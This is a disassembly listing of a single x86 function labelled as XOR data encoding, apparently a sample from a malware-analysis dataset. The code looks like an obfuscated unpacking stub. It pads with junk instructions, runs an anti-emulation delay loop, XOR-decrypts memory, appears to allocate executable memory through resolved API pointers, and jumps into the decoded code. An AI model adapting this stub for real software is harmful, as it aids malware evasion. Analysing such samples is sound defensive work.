Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3aad7bfc
add ebx, 0x95701135
sub eax, 0x6c909a7e
popal
and eax, ebx
or eax, eax
and eax, ebx
mov edi, 0
mov esi, edx
mov ebx, ecx
or ebx, ecx
mov eax, esi
dec ebx
add ebx, 0xc5756de6
mov edx, eax
dec ecx
sub ecx, 0x57d80053
add edi, 1
and ecx, ebx
or ecx, ebx
cmp edi, 0x1001ccf
jne 0xa789ca
add ebx, 0xe72fc3e7
and ecx, ecx
sub ebx, ecx
inc eax
and ebx, eax
mov edi, 0xa78796
inc ecx
or esi, ecx
mov eax, 0xa7898a
dec ecx
not edx
mov ebx, dword [edi]
sub esi, 0xaa8b783e
mov ecx, esi
sub ecx, 0xce3c5186
and ebx, 0xff
dec ecx
or edx, ecx
xor dword [eax], ebx
mov edx, ecx
add edx, 0xc707ed4e
inc eax
add ecx, ecx
add esi, esi
mov ecx, esi
inc edi
add ecx, esi
mov edx, 0x373a2e2d
cmp eax, entry0
jl 0xa78a15
add edx, 0xd1e8c10a
mov esi, ecx
sub ecx, 1
sub edx, esi
and ecx, ecx
mov ecx, esi
add ebx, 0xc3ffa05
not edx
mov edi, 0xa7898e
sub esi, 0x76c0a553
sub esi, edx
mov edi, dword [edi]
mov esi, 0xa444c4ea
mov ebx, 0x8a29754e
mov edi, dword [edi]
not edx
and esi, esi
mov edx, ecx
sub esp, 4
mov dword [esp], edi
or esi, ebx
or esi, ebx
mov edi, 0xa7898a
sub esi, edx
dec ebx
sub esi, 0xfc1e24df
mov edi, dword [edi]
inc ebx
sub ecx, 1
mov esi, 0x8737f7e8
mov edi, dword [edi]
or ebx, esi
sub ebx, 0xde35806f
sub ecx, esi
push 0xa78992
mov edx, ebx
mov ebx, edx
call edi
sub edx, ebx
not ebx
mov edi, dword [esp]
add esp, 4
add ecx, esi
add esi, edx
push 0xa7899f
not ecx
add ebx, ecx
push eax
inc edx
add edx, ecx
inc ecx
call edi
not esi
or edx, esi
dec ebx
sub esp, 4
mov dword [esp], 0x40
add esi, 1
dec ebx
sub esi, ecx
push 0x3000
not ebx
mov ebx, 0x70a8b097
sub esp, 4
mov dword [esp], 0x20000839
add edx, esi
inc ecx
add ecx, ecx
sub esp, 4
mov dword [esp], 0
add ecx, ebx
not esi
not ebx
call eax
mov ebx, 0x5fbbd164
inc ebx
add eax, 0x20000794
or ecx, edx
add ebx, ebx
mov edi, 0xbbeb1d9b
mov edx, 0xa9b7affb
mov edx, 0x53ba20f7
mov dword [eax], edi
add ebx, 0x822c5a6b
or ecx, ebx
mov edi, dword [eax]
and esi, esi
and edx, esi
sub ecx, esi
cmp edi, 0xbbeb1d9b
je 0xa78b70
mov ebx, 0
mov byte [ebx], cl
dec esi
inc ecx
or edx, ecx
mov ebx, edx
sub esi, ebx
dec ecx
and eax, eax
not eax
mov esi, section..reltc
sub ebx, 1
add ebx, 1
mov ecx, 0xa78795
sub ebx, 1
add eax, 1
mov edi, 0
not ebx
mov eax, ebx
mov edx, 0xa78796
add ebx, 0x27640187
not eax
lea edx, [edi + edx]
and ebx, eax
mov ebx, 0x4bc462fd
mov edx, dword [edx]
or eax, eax
add ebx, 0x89d8e693
and edx, 0xff
add eax, 0x8c213ed1
add ebx, eax
inc edi
add eax, ebx
add ebx, 0xa9347362
or eax, ebx
cmp edi, 0x1f4
jne 0xa78bef
mov edi, 0
dec ebx
sub ebx, eax
dec ebx
dec eax
add ebx, 0x887641db
add ebx, ebx
xor dword [esi], edx
mov ebx, eax
or ebx, eax
or ebx, ebx
add esi, 2
mov eax, ebx
inc eax
cmp esi, ecx
jl 0xa78ba8
sub ebx, 0x339b2371
or ebx, eax
add ebx, ebx
sub ebx, 0xff44dddc
not eax
mov esi, section..reltc
mov edi, eax
not eax
mov edx, section..reltc
mov eax, edi
sub edi, 1
add eax, 0x8fd2b611
mov ebx, 0xa78795
or eax, eax
sub eax, edi
mov ecx, 0
mov eax, edi
and eax, eax
mov edi, 0xd728f8b2
mov cl, byte [edx]
dec eax
dec edi
mov byte [esi], cl
and edi, edi
or eax, eax
inc esi
dec edi
sub eax, edi
and eax, eax
add edx, 2
add edi, edi
mov eax, 0x365bf052
add edi, 0x97513bcd
cmp edx, ebx
jle 0xa78c5a
inc edi
mov edi, 0xc561cb66
add eax, 0x40d7a487
sub eax, 0xa0e9c75a
dec ebx
push 0x8dc6a0
mov ebx, eax
or ebx, eax
ret